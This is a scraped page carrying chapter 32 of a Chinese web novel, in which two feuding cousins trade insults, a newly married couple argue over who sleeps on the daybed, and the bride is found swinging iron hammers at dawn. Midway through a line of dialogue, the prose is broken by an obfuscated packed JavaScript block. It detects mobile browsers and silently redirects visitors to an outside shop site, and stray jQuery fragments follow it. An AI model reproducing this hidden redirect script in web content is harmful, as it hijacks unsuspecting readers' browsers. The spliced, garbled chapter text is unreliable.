文趣网 > 其他小说 > 夫君非纨绔 > 32. 第 32 章
    “真是没有男人气概。”

    这话几乎捅了江濂马蜂窝,说他没男人气概?!

    往前他可能不在意,可这两天经历正是他格外敏感时候,袖子一挽,就要上前揍人。

    被文翠和元安一左一右拦住,“小公爷,不可啊。”

    “爷,别,别,二公子可打不得,打不得。”

    二公子自幼就体弱,幼年时汤药不断,加之后来又断了腿,这身子骨更弱了,哪里受得住小公爷的拳头。

    元安轻车熟路地将江濂跟江塬隔开,“爷,天冷了,二公子应当是在外面许久了,早些让他回去,别受了风寒。”

    “哼,”江濂不耐地挥了下手,“这回我就不跟你计较了,赶紧回去歇着。”

    “走,”江塬同样不善地看他一眼,吩咐身后丫鬟,临走前还有礼地跟宋欣玥招呼了一声,“大嫂,我先回了。”

    宋欣玥忙道:“路上慢些。”

    本以为兄弟两人这就结束了,谁知就在丫鬟推着江塬要离开时,江濂忽然又说了句,“什么天气了,出来也不知道在腿上盖个毯子,本来就瘸,也不怕那腿再冻的站不起来了。”

    “那也比你站着跟躺着一样废物强。”

    好家伙,好家伙!

    宋欣玥惊奇地看着江塬被推着咕噜噜离开,留下一句噎死人的话,元安再度拉住要冲过去揍人的江濂。

    这两兄弟是吃了炮仗,还是有什么爱恨情仇?

    起初听着江濂说话难听但也还有那么一丝丝关爱堂弟的意思,可后头兄弟两个呛起来,那一句句都是话刀子,这要不是元安和文翠拉着,就得打起来了吧?

    “他们一直这样?”

    宋欣玥问身边的代琴,感觉这可不是一时结气,那话刀子丝滑的。

    “夫人习惯了就好,不过您放心,小公爷跟二公子就是斗斗气,”代琴仿佛习惯了两人相处,那意思好像两人要不斗气,还不正常了。

    “行了,甭拽爷了,”江濂甩开元安的手。

    理了理袖子,跟站在一旁的宋欣玥说,“往后见着老二远着些,他那人狗嘴里吐不出象牙。整体病歪歪的,阴着张脸,跟谁欠了他钱一样,看着就来气。”

    宋欣玥不置可否。

    她可不往这兄弟两个里面掺和,只做好身为大嫂的本分就行。

    让她看,这兄弟两个半斤八两,兄不友弟不恭,谁也别说谁。

    就是不知道两人是性格不和还是有什么矛盾?

    本来国公府就风雨飘摇,年轻一辈的小公爷跟堂弟又不睦,无疑是更加一层霜冻。

    至于两人方才是不是故意演的不和睦,宋欣玥觉着不是。

    两人争吵太自然了,没有演的痕迹,加上江濂都没有被刻意教导演出个纨绔给上面帝王看,这兄弟两个怕是真的不睦。

    家不和事不兴,兄弟阋墙是家族大忌。

    只是就算她想改造江濂成为个差不多的继承人,好逃脱自己被催生子,对兄弟二人的事,她还没那么自大地去干预。

    之后再回去的路上,宋欣玥默默想事,连四周夜景都没赏。

    江濂不知是不是跟江塬斗嘴气着了,拉着脸没言语,直到回到卧房,两人各自洗漱完,才恢复吊儿郎当模样。

    他披散着头发,在房中四下里转悠一圈,嘟囔着,“真没意思。”

    往常他这个时辰还在外面吃喝玩乐,有时直接宿在外头,或在别院捯饬自己的那些玩意儿,哪像现在,手头什么都没有,无聊极了。

    他无聊,宋欣玥也差不多。

    洗漱完后好像就没什么事只剩睡觉了,没有娱乐活动,没有打发时间的东西,什么做会儿女红,看会儿书,这些在她儿这目前都不成立。

    想到明天回门,说不得还有一场“硬仗,”宋欣玥觉着还是早点养精蓄锐为好。

    睡不着闭眼也得养足了精神,说了句“早点睡吧,”就走向暖榻。

    暖榻上有她刚才吩咐代琴特意铺好的被褥,当时代琴就犹豫,觉着没必要,小公爷跟夫人得同睡啊。

    宋欣玥坚持,“你不铺,等下我也得自己动手。晚间不要你们值夜,铺上就出去休息吧。”

    文翠也在一旁,见状只能示意代琴按夫人吩咐铺设被褥。小公爷对夫人的吩咐,并未打断,显然也是跟夫人一样意思。

    她想着,就算没同床,同处一卧房,日子长些总会合到一处。不然,就自家小公爷那脾气,强求恐适得其反。

    这会儿江濂听宋欣玥说完,就要在暖榻上歇下,“我睡榻,你睡床,”他再怎么混不吝,也不能让宋欣玥一个小女子委屈巴巴地睡榻上。

    宋欣玥拒绝。

    “不必,这榻短,你睡上面伸不开腿,我睡正好。”

    而且,说是一张榻,目测来看也有一米半宽,不到两米长,撤了中间小几,跟张床没区别,她这个发育不良的身板躺着睡很宽绰。

    倒是江濂,看着不壮实,也有一米八四五的身高,打眼瞧着身量比这榻还要长,长手长脚窝在榻上睡肯定不得劲。

    “还是我睡榻,你睡床,”不然让阿娘知道自己委屈宋欣玥睡榻上,定会念叨他。

    “不用,我睡榻上就挺好。”

    说话间,宋欣玥已经坐上榻,褪了绣花软底鞋,让江濂那句“要不都在床上睡”的话,哽在喉咙上下不得。

    过一会儿,不知想了什么,好似有些着恼,扯了幔帐帘子,脱了鞋兀自上了床,忽然又爬起来,噔噔噔下来。

    盖着柔软丝滑的缎面被子,鼻间萦绕着被褥上淡淡兰花熏香,宋欣玥觉着这睡眠条件实在奢侈的一把。

    正准备闭上眼酝酿睡意,听着他动静,转脸望过去,就看到他鼓着个腮帮子吹灭了蜡烛,模样不甚高兴。

    红烛吹灭,屋子里就暗了下来。

    不过,屋子往净室去的门口处高几上依然有盏青釉灯盏燃着,若是起夜便可就着这朦胧光线,或将灯罩打开些,灯光会变亮。

    宋欣玥没多理睬江濂搁那使什么脾气,左右没事干,早睡早起也好,下午去演武场的事让她有了个想法,打算明早起来去试试。

    本以为会久不成眠或睡不安宁,不想一个大通觉睡了下来!

    ……

    天光微曦时,江濂拉开床帐,打着哈欠扫了眼暖榻处,却发觉那边已经没有了人影,被褥都叠放了起来。

    暗自纳闷,宋欣玥什么时候起来了?

    叫了丫鬟进来伺候,就听着外面传来有些嘈杂声音,似乎说着“夫人”什么,问道,“你们

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17799335|210370||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    夫人呢?”

    听这动静,莫不是晨起做羹汤?

    也是,她是新妇,当做些羹汤提至阿娘处,好生表现一番才是。

    如此想,他也就这么问了,“是不是在做羹汤了?”

    听着这动静还不小,莫不是不会做?

    丫鬟也是才从外面进来,闻言看着小公爷欲言又止。

    “看我做什么?回答!”

    江濂素来不是个好性儿的主,见着丫鬟吞吞吐吐说不出话,想到今日还要往东诚伯府那糟心岳父家去,就有些心烦。

    “回小公爷,夫人,夫人在练大锤!”

    反正她们在屋子里伺候的不说,等会小公爷也知道。

    丫鬟索性一闭眼说了出来,因为自己也很震惊这事,声音还不小。

    她离江濂近,又是个声音尖细的,江濂觉着耳膜差点被穿到,顿时瞪眼发火,“喊什么喊,爷我又不是聋子,练大锤就……什么,你说宋欣玥在干什么?”

    后知后觉反应过来,江濂简直不敢相信自己听到的。

    推开正好过来给他束发的丫鬟,趿拉着室内鞋,披头散发就往外跑。

    他没听错吧?

    丫鬟说宋欣玥在练大锤,是他想的那个练大锤吗?

    不是吧?

    不是个球!

    等江濂跑出明间,冲下抱厦台阶,顺着声音来处抬眼一看,呆立原处。

    宋欣玥,宋欣玥居然真的在练大锤!

    不,确切来说,她在抡大锤,虎虎生风地将一双锤子在空中抡来抡去。

    抡,来,抡去?!!!!

    江小公爷一双弧度优美的双凤眼几乎瞪成杏核,不敢相信自己看到的一切,可仆妇们叫好的声音又提醒着他眼前一切为真。

    似乎察觉到他猛盯视线,宋欣玥忽地望了过来,冰凉锐利,一刹那的对视让江濂差点腿软。

    晃了下身子,扶住了手边廊柱。

    又见差不多与他动作同时,宋欣玥也放下了锤子,弯下腰大口呼吸起来,似乎累到了。

    “夫人,”与书赶忙上前搀住她胳膊,声音里带着关切和隐隐地兴奋,“您没事吧?”

    “没事,就是力竭了,”宋欣玥不是在作假,方才一番将力气用尽了,正好江濂跑出来看到,便顺势放下了大锤。

    “夫人您真是太厉害了,这么重的铁锤您都能舞动起来,简直是英姿飒爽,”与书叽叽喳喳说着,眼神崇拜。

    她不当值时就搜罗江湖儿女快意恩仇话本子看,最爱看女侠执剑仗义情节。

    夫人虽没用剑,可她拎着锤子抡起来时的爽利一样精彩,让她为之着迷,真没想到夫人这样瘦弱的身躯能有这么大的力量。

    她还待要说,就被旁边琉璃拽了下袖子,轻咳一声提醒她,“小公爷。”

    与书顺着琉璃暗示方向看,才发现不知什么时候小公爷起了过来,正站在抱厦那边直愣愣看着她们这边。

    忙与琉璃她们一起行礼,“小公爷。”

    江濂只愣愣看着她们这边,就近了细看能发现他嘴唇在微颤。直到宋欣玥接过丫鬟递来的湿帕子擦干净手,才好像回了神,走过去。

    “你刚才在做什么?”

    一句话暴露他还没接受刚才所见。